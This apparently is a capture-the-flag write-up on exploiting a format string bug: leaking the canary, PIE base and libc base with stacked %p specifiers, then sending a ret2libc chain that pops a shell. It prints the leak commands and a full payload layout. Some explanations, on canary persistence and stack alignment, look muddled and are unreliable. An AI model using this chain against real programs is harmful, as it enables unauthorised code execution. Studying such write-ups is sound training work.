Description
A binary with a tiny input buffer and a format string vulnerability. Leak the stack canary, PIE base, and libc address through stacked %p specifiers, then build a ret2libc chain to pop a shell.
Setup
Download the binary, libc, and linker files from the challenge.
Patch the binary to use the provided libc with patchelf.
Analyze the binary in Ghidra or GDB to map offsets.
chmod +x vulnpatchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vulnSolution
Walk me through it- Step 1Identify the format string vulnerabilityThe binary passes user input directly to printf. Probe with %p to leak stack values.python
python3 -c "print('%p.'*30)" | ./vulnLearn more
A format string vulnerability occurs when user-controlled input is passed as the first argument to printf without a format string:
printf(user_input)instead ofprintf("%s", user_input). The attacker can choose specifiers like%pto print stack values,%sto dereference pointers, or%nto write values.With stacked
%pspecifiers, consecutive 8-byte values are read from the stack. By examining 20-30 positions you can identify the canary (random with a null low byte), saved RBP, and return addresses pointing into the binary or libc.Stripped-binary fallback. If the binary has no symbols (
filereports stripped) you can still spot format-string sinks by scanning.rodatafor printf-like format strings that are missing a tell-tale specifier next to theprintfcall:strings -tx vulnorreadelf -p .rodata vulnshow every constant, and any literal lacking%next to aprintf@pltreference inobjdump -dis a candidate. Cross-reference withobjdump -d vuln | grep -B2 'call.*printf'to confirm. - Step 2Leak canary, PIE base, and libc baseUse positional format specifiers like %15$p to target specific stack slots for the canary, binary return address, and libc pointer.python
python3 -c "from pwn import *; p = process('./vuln'); p.sendline(b'%15$p.%21$p.%23$p'); print(p.recvline())"Learn more
What "stack cache" refers to. glibc's pthread implementation maintains a per-process stack cache: when a thread exits, its stack is not unmapped but kept on a free list so the next thread starts faster. The stack canary on x86-64 is sourced from
fs:0x28, wherefspoints at the thread's TCB (Thread Control Block). The master canary in the main thread's TCB is initialized once at startup. Cached child threads inherit the same TCB region across reuse, which means the same canary value can persist across thread lifetimes -- handy when leaking once and exploiting later.Identifying each leak in the %p output. The three things you want look like this:
canary: 0xa1b2c3d4e5f6??00 <- 8 bytes, low byte = 00 (high entropy, no recognizable prefix) PIE return: 0x55XXXXXXXXXX <- starts with 0x55 (PIE base) value = pie_base + offset_into_binary => pie_base = leak - known_offset_of_call_site libc return: 0x7fXXXXXXXXXX <- starts with 0x7f (mmap'd region) value = libc_base + offset_in_libc => libc_base = leak - libc.sym['__libc_start_main'] - 0xea (offset varies per libc version; verify low 12 bits of libc_base = 0x000)Pwntools'
libc-database identify libc.so.6or matching the leak's low 12 bits against a candidate libc's symbol confirms the right offset. The0x000suffix on a correct base is the sanity check: shared libraries are page-aligned.The constant
0xeainlibc_base = leak - __libc_start_main - 0xeais the in-libc offset of the instruction after the call tomaininside__libc_start_main-- i.e., the return address that gets pushed on the stack when__libc_start_maincalls user code. That return address is what shows up as a libc pointer on the stack, so subtracting__libc_start_main + 0xeafrom the leak yields the libc base. The exact value (0xea,0xf3,0x29d90, etc.) depends on glibc version;readelf -s libc.so.6 | grep __libc_start_mainplus a quickobjdump -dat that symbol pins it down.Deriving offsets without pwntools. Once you have the libc that ships with the challenge,
readelf -s libc.so.6dumps every symbol with its file offset. Filter the table for the symbols you need:readelf -s libc.so.6 | grep -E ' (__libc_start_main|system|__libc_csu)' # 1234: 0000000000023d40 442 FUNC GLOBAL DEFAULT 14 system@@GLIBC_2.2.5 # 5678: 0000000000022e10 79 FUNC GLOBAL DEFAULT 14 __libc_start_main@@... strings -a -t x libc.so.6 | grep '/bin/sh' # 1b3e1a /bin/sh <- offset of the literal "/bin/sh" string # Then libc_base = leak - (libc_start_main_offset + 0xea_or_similar) # system_addr = libc_base + 0x23d40 # binsh_addr = libc_base + 0x1b3e1a - Step 3Build and send the ret2libc payloadOverflow past the canary with the correct canary value, then chain: ret gadget, pop rdi, /bin/sh, system().
Learn more
Full payload, byte-by-byte:
payload = b'A' * BUFSIZE # fill local buffer + p64(canary_leaked) # canary preserved -> check passes + p64(0x4141414141414141) # saved rbp (any value) + p64(libc_base + ret_off) # 16-byte align rsp + p64(libc_base + pop_rdi_off) + p64(libc_base + binsh_off) # rdi = "/bin/sh" + p64(libc_base + system_off) # call system After the function's epilogue: cmp [rbp-8], canary -> equal -> jump over __stack_chk_fail leave -> rbp = saved_rbp (junk; never used again) ret -> pops align_ret -> chain beginsThe ret-for-alignment gadget is the most-overlooked detail. The function's own
retalready incrementsrspby 8, leaving it at...0x8.pop rdi; ret(16 bytes consumed) keeps that parity.system()is reached via a finalret, so when execution lands at the first instruction ofsystem,rspis at...0x8. The firstmovaps xmm0, [rsp+0x40]insidesystemfaults becausemovapsrequires 16-byte alignment. Inserting an extra bareretburns 8 bytes and shiftsrspto...0x0, satisfying alignment.Once
system("/bin/sh")spawns the shell, runcat /flag(orcat flag.txt) to read the flag.
Flag
picoCTF{...}
This challenge was not solved during the competition. The flag is obtained by leaking the canary and libc addresses via the format string, then executing a ret2libc ROP chain.